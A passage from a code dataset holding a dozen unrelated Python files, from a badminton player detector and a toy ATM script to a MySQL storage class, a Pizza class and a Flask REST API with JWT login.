img.shape[1]\n\t\t\t\t\t\t# print(\"\\n##########################################################\\n\")\n\t\t\t\t\t\t# print(\"The box co-ordinates of \" + str(classes[int(cls_pred)]) + \" is :\")\n\t\t\t\t\t\t# print(\"Top_left_x = \" + str(x1.cpu().numpy()))\n\t\t\t\t\t\t# print(\"Top_left_y = \" + str(y1.cpu().numpy()))\n\t\t\t\t\t\t# print(\"Height = \" + str(box_h.cpu().numpy()))\n\t\t\t\t\t\t# print(\"Width = \" + str(box_w.cpu().numpy()))\n\t\t\t\t\tcoordinate.append(x1.cpu().numpy())\n\t\t\t\t\tcoordinate.append(y1.cpu().numpy())\n\t\t\t\t\tcoordinate.append(box_w.cpu().numpy())\n\t\t\t\t\tcoordinate.append(box_h.cpu().numpy())\n\n\t\t\t\t\tflag = 1\n\n\t\t\t\t\tif display_detection == True:\n\t\t\t\t\t\tbbox_colors = random.sample(colors, n_cls_preds)\n\t\t\t\t\t\tcolor = bbox_colors[int(np.where(unique_labels == int(cls_pred))[0])]\n\t\t\t\t\t\tbbox = patches.Rectangle((x1, y1), box_w, box_h, linewidth=2, edgecolor=color, facecolor='none')\n\t\t\t\t\t\tax.add_patch(bbox)\n\t\t\t\t\t\tplt.text(x1, y1, s=classes[int(cls_pred)], color='white', verticalalignment='top',\n\t\t\t\t\t\t\t\tbbox={'color': color, 'pad': 0})\n\t\t\t\t\telse:\n\t\t\t\t\t\tlabel = classes[int(cls_pred)]\n\t\t\t\t\t\tcv2.putText(img=out_img, text=label, org=(x1, y1 - 10),fontFace=cv2.FONT_HERSHEY_SIMPLEX, fontScale=0.45, color=(0, 255, 0), thickness=2)\n\t\t\t\t\t\tcv2.rectangle(out_img, (x1, y1), (x1 + box_w, y1 + box_h),(0, 255, 0), 2)\n\t\t\t\t\t\tcv2.imshow(\"Final output\", out_img)\n\n\t\telse:\n\t\t\tprint(\"No objects of the desired type are detected!!\\n\")\n\n\t\tif flag == 0:\n\t\t\tprint(\"None\")\n\t\t\t\t\t\t\n\t\tprint(\"\\n##########################################################\\n\")\n\n\t\t# save image\n\t\t# plt.savefig(img_path.replace(\".jpeg\", \"-det.jpeg\"), bbox_inches='tight', pad_inches=0.0)\n\t\tif display_detection == True:\n\t\t\tplt.axis('off')\n\t\t\tplt.show()\n\n\t\tif not ret_img :\n\t\t\tcv2.imshow(\"Final output\", out_img)\n\t\t\treturn None,None\n\t\telse :\n\t\t\treturn out_img,coordinate\n\n\n\tdef detect_players_video(self, video_path):\n\t\n\t\tout_video = []\n\t\tcap = cv2.VideoCapture(video_path)\n\t\tfps = cap.get(cv2.CAP_PROP_FPS)\n\t\tprev_time2 = time.time()\n\t\twhile(1):\n\t\t\t#reading the video frame by frame\n\t\t\tret,frame = cap.read()\n\t\t\tif not ret:\n\t\t\t\tbreak\n\n\t\t\t(h, w) = frame.shape[:2]\n\t\t\tout_frame,all_coordinates = self.detect_players_image(frame,ret_img=1,display_detection=False)\n\t\t\tcenterbottom = get_center_bottom(all_coordinates)\n\t\t\tout_video.append(out_frame)\n\t\t\tk = cv2.waitKey(1)\n\t\t\tif k == ord('q'):\n\t\t\t\tbreak\n\n\t\tcap.release()\n\t\tprint(\"Time taken is:\" + str(time.time() - prev_time2))\n\t\tfourcc = cv2.VideoWriter_fourcc(*'MP4V')\n\t\tout = cv2.VideoWriter(video_path.replace(\".mp4\", \"-out.mp4\"),fourcc,fps,(w,h))\n\t\tfor i in range(len(out_video)):\n\t\t\tout.write(out_video\t[i])\n\t\tout.release()\n\t\tcv2.destroyAllWindows()\n","sub_path":"Badminton/Badminton.py","file_name":"Badminton.py","file_ext":"py","file_size_in_byte":7288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"140312980","text":"import logging\n\nlogging.basicConfig(level=logging.INFO, format=\"%(message)s\")\n#logging.disable(logging.CRITICAL)\n\ndef main():\n N = int(input())\n items = []\n\n for i in range(N):\n value, limit = map(int, input().split())\n items.append((limit, value))\n\n logging.info(items)\n\n items.sort()\n\n logging.info(items)\n\n total_time = 0\n for lim, val in items:\n total_time += val\n if total_time > lim:\n print(\"No\")\n exit()\n\n print(\"Yes\")\n\n \nif __name__ == \"__main__\":\n main()\n","sub_path":"BeginnerContest_131/D-Megalomania/solver.py","file_name":"solver.py","file_ext":"py","file_size_in_byte":547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"236555492","text":"bank_account = 10000\nprint(\"1. Withdraw 📛 \\n2. Deposit 💯 \\n3. Exit 👏\")\nchoice = input(\"Welcome to ATM! Pick from above [1|2|3]: \")\nwhile choice != \"3\":\n if choice == \"1\": #user chooses 'withdraw'\n withdraw = int(input(\"How much to withdraw 😱💰💸💳: \"))\n bank_account = bank_account - withdraw\n if bank_account < 0:\n print (\"You do not have enough funds for this Transaction.\\nPlease contact your Local Provider at 212-646-7777\")\n else:\n print (\"You now have \" + str(bank_account) + \" dollars in your bank account 😱😱😔\")\n \n elif choice == \"2\":\n amount = int(input(\"How much to deposit 💎💳💯😁: \"))\n bank_account = bank_account + amount\n if bank_account < 0:\n print (\"You do not have enough funds for this Transaction.\\nPlease contact your local Provider at 212-646-7777\")\n else:\n print (\"You now have \" + str(bank_account) + \" dollars in your bank account 😳😍👀\")\n elif choice == \"3\": #user chooses 'exit'\n \n print(\"1. Withdraw \\n2. Deposit \\n3. Exit\")\n choice = input(\"Pick from above [1|2|3]:\")","sub_path":"Unit3/jmaxwell_mockatm.py","file_name":"jmaxwell_mockatm.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"415976536","text":"# -*- coding: utf-8 -*-\n# filename:test7-2.py\n# datetime:2014-03-04 10:48\n__author__ = 'walkskyer'\n\"\"\"\nQLineEdit\n\"\"\"\nfrom PyQt4 import QtGui\nfrom PyQt4 import QtCore\n\n\nclass Example(QtGui.QWidget):\n def __init__(self):\n super(Example, self).__init__()\n self.initUI()\n\n def initUI(self):\n self.label = QtGui.QLabel(self)\n edit = QtGui.QLineEdit(self)\n\n edit.move(60, 100)\n self.label.move(60, 40)\n\n self.connect(edit, QtCore.SIGNAL('textChanged(QString)'),\n self.onChange)\n\n self.setWindowTitle('QLineEdit')\n self.setGeometry(250, 200, 350, 250)\n\n def onChange(self, text):\n self.label.setText(text)\n self.label.adjustSize()\n\nif __name__ == \"__main__\":\n app = QtGui.QApplication([])\n exm = Example()\n exm.show()\n app.exec_()\n","sub_path":"pyqt4/tutorial/7-form2/test7-2.py","file_name":"test7-2.py","file_ext":"py","file_size_in_byte":842,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"264774604","text":"import json\n\nimport os\nimport yaml\nfrom rasa_addons.domains_merger import DomainsMerger\n\nROOT_PATH = os.path.join(os.getcwd(), 'tests')\n\n\ndef test_merge():\n DomainsMerger(os.path.join(ROOT_PATH, 'domains'), 'test_domain').merge().dump()\n with open(os.path.join(ROOT_PATH, 'domains/merged_domains.yaml'), 'r') as stream:\n source = yaml.load(stream)\n\n with open(os.path.join(ROOT_PATH, 'domains/aggregated_domains.yaml'), 'r') as stream:\n test = yaml.load(stream)\n\n # comparing strings instead\n source_dump = json.dumps(source, sort_keys=True)\n test_dump = json.dumps(test, sort_keys=True)\n\n assert source_dump == test_dump\n","sub_path":"tests/test_domain_merger.py","file_name":"test_domain_merger.py","file_ext":"py","file_size_in_byte":657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"232593896","text":"from analysis.MappingModels import *\nfrom analysis.results import *\nfrom plots.graphics import *\nimport matplotlib.pyplot as plt\n\n\ndef checkKineticFluxes(mapFile, kineticDict):\n \"\"\"\n :param mapFile: csv file with the model mapping\n :param kineticDict: Ordered dict of str to list of floats\n :return:Ordered dict of str to list of floats (new kinetic dict)\n \"\"\"\n the_mapp = Mapping(mapFile)\n the_mapp.run_mapping()\n mappdict = the_mapp.mapp\n new_kineticdict = OrderedDict((k, []) for k in mappdict)\n for k in kineticDict:\n for key in mappdict:\n if k in mappdict[key]:\n for j in xrange(len(kineticDict.values()[0])):\n new_v = the_mapp.checkDirectionality(k, kineticDict[k][j])\n new_kineticdict[key].append(new_v)\n return new_kineticdict\n\n\ndef generateDicts(solutionfile):\n \"\"\"\n :param solutionfile: csv file\n :return: Ordered dict of str to list of floats\n \"\"\"\n df = pd.DataFrame.from_csv(solutionfile, sep=';')\n solutiondict = OrderedDict(zip(df.index, df.values.tolist()))\n return solutiondict\n\n\ndef createFluxesMap(listOfDicts, mapFile, nrofconditions=1):\n \"\"\"\n :param listOfDicts: list of ordered dict of str to float\n :param mapFile: csv file\n :param nrofconditions: int\n :return: Ordered dict of str to list of floats\n \"\"\"\n mapp = performReactionsMapping(mapFile)[0]\n fluxesmapp = OrderedDict(\n (key, [[d[key][c] for d in listOfDicts] for c in xrange(nrofconditions)]) for key in mapp.keys())\n return fluxesmapp\n\n\ndef generatefluxesplot(mappfluxes, columns, plottile, filename, figname, lnstyle,\n resolution=100, onlycsv=False):\n \"\"\"\n :param mappfluxes: ordered dict of str to list of floats\n :param columns: list of str, list of the columns names\n :param plottile: str, title of the figure\n :param filename: list of str, list of the files names\n :param figname: list of str, list of the figures names\n :param lnstyle: list of str, list of lines types\n :param resolution: float\n :param onlycsv: False. generate only the csv file\n :return: line plot\n \"\"\"\n for i in xrange(len(mappfluxes)):\n fluxes = pd.DataFrame.from_dict(mappfluxes[i][0], orient='index')\n fluxes.columns = columns\n fluxes.to_csv(filename[i], sep=';')\n if onlycsv:\n pass\n else:\n fluxesPlot(fluxes, resolution, plottile, figname[i], lnstyle)\n plt.tight_layout()\n plt.show()\n","sub_path":"plots/metabolicfluxes.py","file_name":"metabolicfluxes.py","file_ext":"py","file_size_in_byte":2540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"438009957","text":"# -*- coding: utf-8 -*-\nfrom config.settings import *\nfrom my_logger import Logger\nimport pymysql\n\n#存储模块\nclass MySQL():\n def __init__(self):\n self.logger = Logger(LOGGER_NAME).getlog()\n\n self.host = MYSQL_HOST\n self.username = MYSQL_USER\n self.password = MYSQL_PASSWORD\n self.port = MYSQL_PORT\n self.database = MYSQL_DATABASE\n\n def get_connection(self):\n try:\n self.db = pymysql.connect(self.host, self.username, self.password, self.database, charset='utf8', port=self.port)\n self.cursor = self.db.cursor()\n print('获取数据库链接成功')\n return True\n # except pymysql.MySQLError as e:\n # print(e.args)\n except:\n print('获取数据库链接失败')\n self.logger.error('获取数据库链接失败')\n return False\n\n\n def close_connection(self):\n\n try:\n if self.db:\n self.db.close()\n print('关闭数据库链接成功')\n return True\n except :\n self.logger.error('关闭数据库链接失败')\n print('关闭数据库链接失败')\n return False\n #如果用下面的,程序就挂了\n # except pymysql.MySQLError as e:\n # print(e.args)\n\n # print(self.db)\n\n\n #插入的时候要判断这个url是否在数据库中\n def insert(self, table, data):\n \"\"\"\n 插入数据\n :param table:\n :param data:\n :return:\n \"\"\"\n # self.select(table,data)\n\n keys = ', '.join(data.keys())\n values = ', '.join(['%s'] * len(data))\n\n sql_query = 'insert into %s (%s) values (%s)' % (table, keys, values)\n # print(self.select(table, 'count(url)', 'url = \\\"' + data.get('url') + '\\\"'))\n try:\n #判断要插入的数据是否在数据库中存在,按照不同表的唯一标识进行查询\n sql_filter = ''\n if table == 'tb_column':\n sql_filter = 'column_id = \\\"' + str(data.get('column_id')) + '\\\"'\n\n elif table == 'category':\n sql_filter = 'category_id = \\\"' + str(data.get('category_id')) + '\\\"'\n\n elif table == 'source':\n sql_filter = 'source_id = \\\"' + str(data.get('source_id')) + '\\\"'\n\n elif table == 'author':\n sql_filter = 'author_id = \\\"' + str(data.get('author_id')) + '\\\"'\n\n elif table == 'ext_attribute':\n sql_filter = 'article_id = \\\"' + str(data.get('article_id')) + '\\\"' + ' and ' + 'attribute_name=\\\"' + str(data.get('attribute_name')) + '\\\"'\n\n elif table == 'article' or table == 'article_author' or table == 'article_category' or table == 'article_column' or table == 'article_source':\n sql_filter = 'article_id = \\\"' + str(data.get('article_id')) + '\\\"'\n\n\n if sql_filter:\n if self.select(table,'count(1)', sql_filter) == ((0,),):\n if self.cursor.execute(sql_query, tuple(data.values())):\n # print(self.select(table,'count(url)', 'url = \\\"' + data.get('url') + '\\\"'))\n print(table + ':数据插入成功')\n self.db.commit()\n else:\n print(table + ': 数据库中该数据已经存在,插入失败')\n\n except Exception as e:\n\n print(table + ': 插入方法出现异常,数据插入失败')\n print(e)\n self.logger.error('插入方法出现异常,数据插入失败')\n self.db.rollback()\n\n def select(self, table, columns, filter):\n\n #如果类型为list类型,就要拼接\n if type(columns) == type([1,2]):\n # if isinstance(columns,list):\n columns = ', '.join(columns)\n\n sql_query = 'select %s from %s where %s' % (columns, table, filter)\n print('查询语句为: %s' % sql_query)\n try:\n self.cursor.execute(sql_query)\n print('查询出的数量:',self.cursor.rowcount)\n results = self.cursor.fetchall()\n # print(results)\n return results\n except:\n print('查询方法出现异常')\n self.logger.error('查询方法出现异常')\n\n\n def update(self,table,setter,filter):\n sql_query = 'update %s set %s where %s' % (table,setter,filter)\n print(sql_query)\n try:\n self.cursor.execute(sql_query)\n print('success')\n self.db.commit()\n except:\n print('failed')\n self.logger.error('更新方法出现异常')\n self.db.rollback()\n\n\nif __name__ == '__main__':\n mysql = MySQL()\n mysql.get_connection()\n # mysql.update(TARGET_TABLE,'published = 1','url = ' + '\\\"https://futurism.com/russia-new-shotgun-wielding-drone-action/\\\"')\n if mysql.close_connection():\n print('haha')\n","sub_path":"handle_mysql.py","file_name":"handle_mysql.py","file_ext":"py","file_size_in_byte":5002,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"515194968","text":"class Pizza:\n\n def __init__(self):\n self.size = None\n self.crust = None\n self.servings = None\n self.price = 0.00\n self._crusts = ['hand tossed', 'stuffed crust', 'thin crust', 'thick crust']\n self._sizes = {'large': 13.00, 'medium': 10.00, 'small': 7.00}\n self.toppings = dict()\n self._toppings_list = {'sauce': 0.00, 'cheese': 0.00, 'pepperoni': 0.50, 'canadian bacon': 0.50,\n 'ham': 0.50, 'anchovies': 0.50, 'olive': 0.50, 'pineapple': 0.50, 'onions': 0.50,\n 'garlic': 0.50, 'sausage': 0.50, 'mushrooms': 0.50, 'spinach': 0.50, 'basil': 0.25}\n # defaults\n self.add_topping('sauce')\n self.add_topping('cheese')\n\n def list_sizes(self):\n print('\\nSizes:')\n for size in self._sizes:\n print('{}'.format(size), 'for ${0:.2f}'.format(self._sizes[size]))\n\n def choose_size(self, size):\n if size == 'large':\n self.size = 'large'\n self.price += 13.00\n self.servings = 7\n elif size == 'medium':\n self.size = size\n self.price += 10.00\n self.servings = 5\n elif size == 'small':\n self.size = size\n self.price += 7.00\n self.servings = 3\n else:\n print('Pizza sizes are')\n for size_type in self._sizes:\n print(size_type)\n raise AttributeError('Zach says {} was Not Found'.format(size))\n\n def change_size(self, size):\n if self.size is None:\n raise AttributeError('Zach says size has not been chosen')\n if self.size in self._sizes:\n self.price -= self._sizes[self.size]\n self.choose_size(size)\n\n def list_crusts(self):\n print('\\nCrusts:')\n for crust in self._crusts:\n if crust == 'stuffed crust':\n print('stuffed crust for $2.00')\n else:\n print('{}'.format(crust))\n\n def choose_crust(self, crust):\n if crust in self._crusts:\n self.crust = crust\n else:\n print('Crust types are:')\n for crust_type in self._crusts:\n print(crust_type)\n raise AttributeError('Zach says {} was Not Found'.format(crust))\n if self.crust == 'stuffed crust':\n self.price += 2.00\n\n def change_crust(self, crust):\n if self.crust is None:\n raise AttributeError('Zach says crust has not been chosen')\n if self.crust == 'stuffed crust':\n self.price -= 2.00\n self.choose_crust(crust)\n\n def list_toppings(self):\n print('\\nToppings:')\n for topping in self._toppings_list:\n print('{}'.format(topping), 'for ${0:.2f}'.format(self._toppings_list[topping]))\n print('extra is double the price')\n\n def current_toppings(self):\n if len(self.toppings) == 0:\n print('No toppings selected')\n print('Toppings are:')\n for topping in self.toppings:\n print(topping)\n\n def add_topping(self, topping, extra='no'):\n if extra != 'yes' and extra != 'no':\n raise ValueError('Extra must be yes or no')\n if topping in self.toppings:\n if self.toppings[topping] == 'yes':\n print('extra {} has already been set'.format(topping))\n else:\n self.toppings[topping] = 'yes'\n self.price += self._toppings_list[topping]\n elif topping in self._toppings_list:\n self.toppings[topping] = extra\n if extra == 'yes':\n self.price += self._toppings_list[topping]*2\n else:\n self.price += self._toppings_list[topping]\n else:\n self.list_toppings()\n raise AttributeError('Zach says {} was Not Found'.format(topping))\n\n def remove_topping(self, topping, extra='no'):\n if extra != 'yes' and extra != 'no':\n raise AttributeError('Extra must be yes or no')\n if topping in self.toppings:\n if self.toppings[topping] == 'yes':\n if extra == 'yes':\n self.price -= self._toppings_list[topping] * 2\n self.toppings.pop(topping, None)\n else:\n self.price -= self._toppings_list[topping]\n self.toppings[topping] = 'no'\n else:\n if extra == 'no':\n self.price -= self._toppings_list[topping]\n self.toppings.pop(topping, None)\n else:\n print('Extra {} was not set, but was still removed'.format(topping))\n self.price -= self._toppings_list[topping]\n self.toppings.pop(topping, None)\n else:\n raise AttributeError('That was not a topping!')\n\n def what_toppings(self):\n for topping in self.toppings:\n print(topping)\n\nif __name__ == \"__main__\":\n\n test_pizza = Pizza()\n test_pizza.list_crusts()\n test_pizza.list_sizes()\n test_pizza.list_toppings()\n\n pepperoni_pizza = Pizza()\n pepperoni_pizza.choose_crust('thin crust')\n pepperoni_pizza.choose_size('large')\n pepperoni_pizza.add_topping('pepperoni', 'yes')\n\n pepperoni_pizza.add_topping('spinach')\n pepperoni_pizza.remove_topping('spinach')\n\n print('\\nThe pepperoni pizza is ${0:.2f}'.format(pepperoni_pizza.price))\n","sub_path":"solutions/pizza_solution/Pizza.py","file_name":"Pizza.py","file_ext":"py","file_size_in_byte":5471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"155015535","text":"# -*- coding: utf-8 -*-\nn=int(input('Digite a quantidade de elemenetos em a: '))\nm=int(input('Digite a quantidade de elemenetos em b: '))\na=[]\nb=[]\ncont=0\nfor i in range(0,n,1):\n valor_a=float(input('Digite o elemento de a: '))\n a.append(valor_a)\nfor i in range(0,m,1):\n valor_b=float(input('Digite o elemento de b: '))\n b.append(valor_b)\nfor i in range(0,m+1,1):\n if i in a and i in b:\n cont=cont+1\nprint(cont)\n\n22,11,10,8,","sub_path":"moodledata/vpl_data/476/usersdata/323/111081/submittedfiles/Av2_Parte3.py","file_name":"Av2_Parte3.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"6060390","text":"\r\n##A leap year is exactly divisible by 4 except for century years\r\n##(years ending with 00). The century year is a leap year only if it\r\n##is perfectly divisible by 400.\r\n### Receive input from the user \r\nyear = int(input(\"enter the year. \"))\r\nif year % 4 == 0:\r\n if year % 100 ==0:\r\n if year % 400 == 0:\r\n print (year, \"is leap year\")\r\n\r\n else:\r\n print (year, \"is not leap year\")\r\n else:\r\n print (year, \"is leap year\")\r\n\r\nelse:\r\n print (year, \"is not leap year\") \r\n##import calendar\r\n##print (calendar.isleap(year))\r\n","sub_path":"leap_year.py","file_name":"leap_year.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"295632579","text":"from snpanalyzer.gui.widget.tab_widget import TabWidget\nfrom PyQt5 import QtWidgets\nfrom matplotlib.figure import Figure\nfrom matplotlib.ticker import ScalarFormatter\nfrom snpanalyzer.gui.widget.navbar import NavigationToolbar\nfrom snpanalyzer.gui.widget.canvas import Canvas\nfrom snpanalyzer.analysis.case import CaseAnalysis\n\nclass CaseTab(TabWidget):\n def __init__(self, serie, parameter, parent=None, limit=None):\n super(CaseTab, self).__initWidgetOnly__(parent)\n self._name = serie.getName()\n self._serie = serie\n self._parameter = parameter\n self._analysis = CaseAnalysis(parameter)\n self._layout = QtWidgets.QVBoxLayout(self)\n self._figure = self._analysis.getFigure()\n self._graphicsView = Canvas(self._figure, self)\n self._navBar = NavigationToolbar(self._graphicsView, self._analysis, self)\n self._layout.addWidget(self._graphicsView)\n self._layout.addWidget(self._navBar)\n self._limit = limit\n self.setupPlot()\n self._graphicsView.draw()\n\n def setupPlot(self):\n for serie in self._parameter.getDataSeries():\n self._analysis.removeSerie(serie)\n self._analysis.addSerie(self._serie)\n param = self._parameter.getParameter()[self._serie]\n if 1 in param or 4 in param:\n if self._parameter.getLimit():\n self._analysis.addSecondLimit()\n","sub_path":"snpanalyzer/gui/widget/case_tab.py","file_name":"case_tab.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"196077411","text":"\"\"\"\nThis module takes care of starting the API Server, Loading the DB and Adding the endpoints\n\"\"\"\nfrom flask import Flask, request, jsonify, url_for, Blueprint\nfrom api.models import db, User\nfrom api.utils import generate_sitemap, APIException\n\n# importación para crear token\nfrom flask_jwt_extended import create_access_token\nfrom flask_jwt_extended import get_jwt_identity\nfrom flask_jwt_extended import jwt_required\n\napi = Blueprint('api', __name__)\n\n\n# login\n@api.route(\"/login\", methods=[\"POST\"])\ndef login():\n email = request.json.get(\"email\", None)\n password = request.json.get(\"password\", None)\n\n # filtramos los usuarios segun su email y contraseña\n user = User.query.filter_by(email=email, password=password).first()\n\n # si no encuentra match en la base de datos retorna el mensaje correspondiente\n if user is None:\n return jsonify({\"msg\": \"Bad email or password\"}), 401\n else:\n # de lo contrario se crea un token haciendo referencia a la id del usuario\n access_token = create_access_token(identity=user.id)\n # retornamos un json con los datos del token y la id de usuario a la que se le esta asignando el mismo\n return jsonify({\"token\": access_token, \"user_id\": user.id, \"msg\": \"user login in correctly\", \"status\": 200})\n\n# signup\n@api.route(\"/signup\", methods=['POST'])\ndef signup():\n request_body = request.json\n isActive = request_body.get('isActive', True)\n user = User(email=request_body['email'], password=request_body['password'], is_active=isActive)\n db.session.add(user)\n db.session.commit()\n return jsonify({\"msg\": \"User correctly created\"}), 200\n\n# private\n@api.route('/private', methods=['GET'])\n@jwt_required()\ndef private():\n # Accede a la identidad del usuario actual con get_jwt_identity\n current_user_id = get_jwt_identity()\n user = User.query.get(current_user_id)\n\n # retornamos los datos del usuario que le pertenece ese token\n return jsonify({\"id\": user.id, \"email\": user.email })\n\n# mis endpoints\n@api.route('/user', methods=['GET'])\ndef get_users():\n all_user = User.query.all()\n all_users = list(map(lambda x: x.serialize(), all_user))\n return jsonify(all_users), 200\n\n@api.route('/user/', methods=['GET'])\ndef get_user_id(user_id):\n # agarramos la respuesta del json y se la asignamos a body\n body = request.json\n # hacemos una busqueda a User por la id que se le pasa por parametro\n user = User.query.get(user_id)\n\n # corroboramos que se obtuvo respuesta, de lo contrario no existe un usuario con esa id\n if user is None:\n raise APIException('People not found', status_code=404)\n else:\n return jsonify(user.serialize()), 200\n\n\n\n@api.route('/user', methods=['POST'])\ndef create_user():\n # request_body = request.json # decoded_request = json.loads(request_body)\n # new_user = User.registrar(request_body['email'], request_body['password'])\n # db.session.add(new_user)\n # db.session.commit()\n\n # obtengo lo que me mandan por json y lo agrego a la base de datos\n request_body = request.json\n is_active = request.json.get('is_active', False)\n user = User(email=request_body['email'], password=request_body['password'], is_active=is_active)\n db.session.add(user) \n db.session.commit()\n\n # devuelvo la lista actualizada de usuarios\n\n all_user = User.query.all()\n all_users = list(map(lambda x: x.serialize(), all_user))\n\n return jsonify(all_users), 200\n\n@api.route('/user/', methods=['DELETE'])\ndef delete_user(id_user):\n\n # obtenemos el usuario\n user = User.query.get(id_user)\n\n # verificamos si se encontró un usuario con la id que viene por parametro\n if user is None:\n raise APIException('User not found', status_code=404)\n else:\n # si tiene un favoritos vinculado no puede borrarse\n if user.favorites_planet != [] or user.favorites_people != []:\n raise APIException('User has a relationship with another table', status_code=404)\n \n # si no tiene un favoritos relacionado puede borrarse\n else:\n db.session.delete(user)\n db.session.commit()\n all_user = User.query.all()\n all_users = list(map(lambda x: x.serialize(), all_user))\n\n return jsonify(all_users), 200\n\n\n\n@api.route('/planets', methods=['GET'])\ndef get_planets():\n all_planet = Planets.query.all()\n all_planets = list(map(lambda x: x.serialize(), all_planet))\n return jsonify(all_planets), 200\n\n@api.route('/planets/', methods=['GET'])\ndef get_planet_id(planet_id):\n # agarramos la respuesta del json y se la asignamos a body\n body = request.json\n # hacemos una busqueda a Planets por la id que se le pasa por parametro\n planet = Planets.query.get(planet_id)\n\n # corroboramos que se obtuvo respuesta, de lo contrario no existe un planeta con esa id\n if planet is None:\n raise APIException('Planet not found', status_code=404)\n else:\n return jsonify(planet.serialize()), 200\n\n@api.route('/planets', methods=['POST'])\ndef post_planets():\n # obtengo lo que me mandan por json y lo agrego a la base de datos\n request_body = request.json\n planet = Planets(name=request_body['name'], picture_url=request_body['picture_url'])\n db.session.add(planet) \n db.session.commit()\n\n # retorno una lista en json con los datos actualizados\n\n all_planet = Planets.query.all()\n all_planets = list(map(lambda x: x.serialize(), all_planet))\n return jsonify(all_planets), 200\n\n\n@api.route('/planets/', methods=['DELETE'])\ndef delete_planet(id_planet):\n planet = Planets.query.get(id_planet)\n\n if planet is None:\n raise APIException('Planet not found', status_code=404)\n else:\n # si no tiene un favoritos relacionado puede borrarse\n if planet.favorites_planets == []:\n db.session.delete(planet)\n db.session.commit()\n all_planet = Planets.query.all()\n all_planets = list(map(lambda x: x.serialize(), all_planet))\n\n return jsonify(all_planets), 200\n # de lo contrario manda un mensaje correspondiente\n else:\n raise APIException('Planet has a relationship with another table', status_code=404)\n\n\n@api.route('/people', methods=['GET'])\ndef get_people():\n all_people = People.query.all()\n all_peoples = list(map(lambda x: x.serialize(), all_people))\n return jsonify(all_peoples), 200\n\n@api.route('/people/', methods=['GET'])\ndef get_people_id(people_id):\n # agarramos la respuesta del json y se la asignamos a body\n body = request.json\n # hacemos una busqueda a People por la id que se le pasa por parametro\n people = People.query.get(people_id)\n\n # corroboramos que se obtuvo respuesta, de lo contrario no existe un personaje con esa id\n if people is None:\n raise APIException('People not found', status_code=404)\n else:\n return jsonify(people.serialize()), 200\n\n@api.route('/people', methods=['POST'])\ndef post_people():\n # obtengo lo que me mandan por json y lo agrego a la base de datos\n request_body = request.json\n people = People(name=request_body['name'], picture_url=request_body['picture_url'])\n db.session.add(people) \n db.session.commit()\n\n # retorno una lista en json con los datos actualizados\n\n all_people = People.query.all()\n all_peoples = list(map(lambda x: x.serialize(), all_people))\n\n return jsonify(all_peoples), 200\n\n@api.route('/people/', methods=['DELETE'])\ndef delete_people(id):\n\n people = People.query.get(id)\n\n if people is None:\n raise APIException('People not found', status_code=404)\n else:\n # si no tiene un favoritos relacionado puede borrarse\n if people.favorites_people == []:\n db.session.delete(people)\n db.session.commit()\n all_people = People.query.all()\n all_peoples = list(map(lambda x: x.serialize(), all_people))\n\n return jsonify(all_peoples), 200\n # de lo contrario manda un mensaje correspondiente\n else:\n raise APIException('People has a relationship with another table', status_code=404)\n \n\n \n\n# favorites people/personajes\n@api.route('/user/people', methods=['GET'])\ndef get_favorites_user_people():\n all_favorite = FavoritesPeople.query.all()\n all_favorites = list(map(lambda x: x.serialize(), all_favorite))\n \n return jsonify((all_favorites)), 200\n\n@api.route('/user/people', methods=['POST'])\ndef post_favorites_user_people():\n # obtengo lo que me mandan por json y lo agrego a la base de datos\n request_body = request.json\n user = User.query.get(request_body['user_id'])\n people = People.query.get(request_body['people_id'])\n if user is None:\n raise APIException('User not found', status_code=404)\n elif people is None:\n raise APIException('People not found', status_code=404)\n else:\n favoritesPeople = FavoritesPeople(user_id=request_body['user_id'], people_id=request_body['people_id'])\n db.session.add(favoritesPeople) \n db.session.commit()\n \n # retorno una lista en json con los datos actualizados\n\n all_fav_people = FavoritesPeople.query.all()\n all_fav_peoples = list(map(lambda x: x.serialize(), all_fav_people))\n\n return jsonify(all_fav_peoples), 200\n\n@api.route('/user/people/', methods=['DELETE'])\ndef del_fav_people(id):\n request_body = request.json # innecesario\n fav = FavoritesPeople.query.get(id)\n if fav is None:\n raise APIException('Identifier for FavoritesPeople is not found', status_code=404)\n else:\n db.session.delete(fav)\n db.session.commit()\n\n # retornamos nuevamente la lista de favoritos actualizada\n all_fav_people = FavoritesPeople.query.all()\n all_fav_peoples = list(map(lambda x: x.serialize(), all_fav_people))\n\n return jsonify(all_fav_peoples), 200\n\n\n# favorites planets\n@api.route('/user/planets', methods=['GET'])\ndef get_favorites_user_planets():\n\n all_fav = FavoritesPlanets.query.all()\n all_favs = list(map(lambda x: x.serialize(), all_fav))\n\n return jsonify(all_favs), 200\n\n\n@api.route('/user/planets', methods=['POST'])\ndef post_favorites_user_planets():\n\n # obtengo lo que me mandan por json y lo agrego a la base de datos\n request_body = request.json\n user = User.query.get(request_body['user_id'])\n planet = Planets.query.get(request_body['planet_id'])\n if user is None:\n raise APIException('User not found', status_code=404)\n elif planet is None:\n raise APIException('Planet not found', status_code=404)\n else:\n favoritesPlanet = FavoritesPlanets(user_id=request_body['user_id'], planet_id=request_body['planet_id'])\n db.session.add(favoritesPlanet) \n db.session.commit()\n \n # retorno una lista en json con los datos actualizados\n\n all_fav_planet = FavoritesPlanets.query.all()\n all_fav_planets = list(map(lambda x: x.serialize(), all_fav_planet))\n\n return jsonify(all_fav_planets), 200\n\n@api.route('/user/planets/', methods=['DELETE'])\ndef del_fav_planets(id):\n request_body = request.json # 